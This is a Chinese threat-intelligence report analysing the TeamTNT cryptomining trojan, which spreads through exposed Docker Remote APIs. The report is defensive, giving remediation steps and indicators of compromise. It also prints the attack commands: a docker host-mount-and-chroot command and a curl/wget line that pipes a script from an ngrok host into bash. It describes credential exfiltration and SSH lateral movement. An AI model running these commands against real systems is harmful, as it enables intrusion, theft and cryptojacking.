一、背景
腾讯安全威胁情报中心检测到TeamTNT挖矿木马利用Docker Remote API未授权访问漏洞对云服务器进行攻击。TeamTNT挖矿木马入侵后会隐藏进程,并且通过安装定时任务持久化、通过SSH复用连接进行横向移动感染更多服务器。同时挖矿木马会占用大量CPU资源进行计算,可能导致业务系统崩溃。
腾讯安全专家建议企业用户按照以下步骤进行自查以及处置:
1.Docker Remote API的2375 非必要情况不要暴露在公网,如必须暴露公网 ,则需要配置访问控制策略;
2.排查当前主机docker的容器,是否存在非正常容器,将其停止并删除;
3.排查.ssh/authorized_keys、/etc/passwd、/etc/shadow是否被修改或者被新增用户;
4.排查是否存在以下文件,如存在以下文件,确认其md5值,如确认为异常文件,请及时删除:
/usr/local/lib/python3.5.so
/dev/shm/sbin
/usr/bin/tshd
/usr/bin/kube
/usr/bin/bioset
/tmp/ps/.x112
/bin/sbin
/tmp/.configure/.configure /tmp/.configure/.kube
/home/jovyan/.config/.configure /home/jovyan/.config/.kube
腾讯安全系列产品应对TeamTNT挖矿木马变种的响应清单如下:
更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/
二、详细分析
Docker Remote API未授权访问漏洞有严重风险,使用docker swarm管理的docker节点上开放一个TCP端口2375,绑定 IP 为: 0.0.0.0, 且暴露在公网上。导致攻击者可以远程管理该主机的 docker 容器,可启动、下载、重启镜像,甚至删除上面的容器。
通过 API 拉取开启一个容器后,虽然docker 执行命令只能在container内部,与宿主机是隔离的。但docker 在运行 container的时候,可以将宿主机文件或目录作为 volume olumeolume挂载到 container内,并且在 container内部对这些文件进行修改。
攻击者可以使用以下命令,启动一个container,将宿主的目录挂载到container内,然后切换到挂载目录,即可执行任意命令。通过修改/sshd_config文件,在写入主机的ssh公钥,即可远程登录该宿主机。
docker -H tcp://x.x.x.x:2375 run -it -v /:/mntxxx chroot /mnt sh
Docker Remote API未授权访问漏洞,攻击者通过构造特定的请求实现漏洞利用,成功利用漏洞可在目标服务器上实现权限获取,风险较高。目前漏洞的利用方式已被公开。
(https://github.com/SPuerBRead/Docker-Remote-API-Exploit/blob/master/dockerAPI_Exploit.py)
攻击者通过漏洞首先启动一个busybox容器,然后将宿主目录挂载到mnt路径下,然后执行恶意命令:
chroot /mnt bash -c curlhttp://0ee0da0d2bb1.ngrok.io/meow.sh | bash || wget -O -http://0ee0da0d2bb1.ngrok.io/meow.sh | bash
meow.sh主要功能是向宿主机写入公钥,并添加用户进行控制:
添加用户:
在完成了用户添加后,在登录到系统,并执行命令下载cat.sh文件。
cat.sh是整个挖矿的核心文件。有几个大模块:LOCKSCREEN、XMRIGSETUP、MAKE_USERS、SETUP_USER
通过对当前用户进行判断,根据不同的用户执行相应的操作。
LOCKSCREEN主要是鉴权操作:
XMRIGSETUP是挖矿的核心功能,该模块首先会写入一个xmrso.tar.gz的文件,然后解压后存储为python3.5.so的文件。并通过利用预加载型恶意动态链接库的方式对进程进行隐藏。
Python3.5.so通过通过重写readdir,readdir64库函数来达到隐藏xmrig进程的目的。
计算当前主机相关性能参数,计算hashrate.
在确定hashrate,杀掉当前已有的挖矿程序后,下载挖矿主程序,并进行进行挖矿操作。为了不因为CPU利用达到100%而被发现,配置了CPU使用率上限。
MAKE_USERS 主要功能是创建一个有root权限的hilde用户,并写入公钥,修改相应权限,并修改sshd_config文件,以运行利用密码进行远程登录。
在添加完用户后,进行远程登录操作,并清楚命令记录:
SETUP_USER主要是执行前面三个模块,并下载sbin/ziggy_spread两个文件并执行。两个文件都是加载器。
在执行完以上操作后,会下载一个ssh名称的文件。
ssh文件也分为几个功能模块:setupmyapps、uploadthersa、getsomelanssh、localgo
首先执行setupmyapps,该模块主要是对主机安装恶意软件,包括default.jpg,tshd.jpg,bioset.jpg,pnscan,其中default.jpg为挖矿的主程序,tshd.jpg和bioset.jpg为后门文件。pnscan用以进行横向攻击时进行扫描探测。
然后执行uploadthersa,该模块的主要功能是将本地的相关的文件打包上传,如authorized_keys,known_hosts、.bash_history等文件进行打包后,利用curl上传到C2服务器。
在执行getsomelanssh,该模块主要功能是通过读取相关文件,确认关联的IP,在利用pnscan进行扫描。确认是否开启22端口
再执行localgo模块,该模块主要功能是利用ssh进行横向渗透,并下载执行恶意文件。
通过以上分析能够看出该挖矿木马具有漏洞利用、挖矿、横向移动等全部功能,且能够进行进程隐藏等操作。
IOCs
IP
85.214.149.236
Domain
kaiserfranz.cc
teamtnt.red
0ee0da0d2bb1.ngrok.io
C&C
hxxps://teamtnt.red/only_for_stats/index.php
Md5
URL:
hxxp://85.214.149.236:443/sugarcrm/themes/default/images/default.jpg
hxxp://85.214.149.236:443/sugarcrm/themes/default/images/tshd.jpg
hxxp://85.214.149.236:443/sugarcrm/themes/default/images/bioset.jpg
hxxp://kaiserfranz.cc/ziggy_spread
hxxp://kaiserfranz.cc/sbin
hxxp://0ee0da0d2bb1.ngrok.io/meow.sh
hxxp://0ee0da0d2bb1.ngrok.io/cat.sh
hxxps://teamtnt.red/so/64/xmrig.so
hxxps://teamtnt.red/sh/ssh
钱包:
89oyHGJuSAVVD2NjfExz7dQ68fAKsgJptgB8CBD4qm458WgNV6BnaBgXDHJHNTG7VSbCmuWQK5ABD9UmyijKoogP64pwhPW
矿池地址:
gulf.moneroocean.stream
参考链接:
https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports
https://blog.aquasec.com/container-security-tnt-container-attack
https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课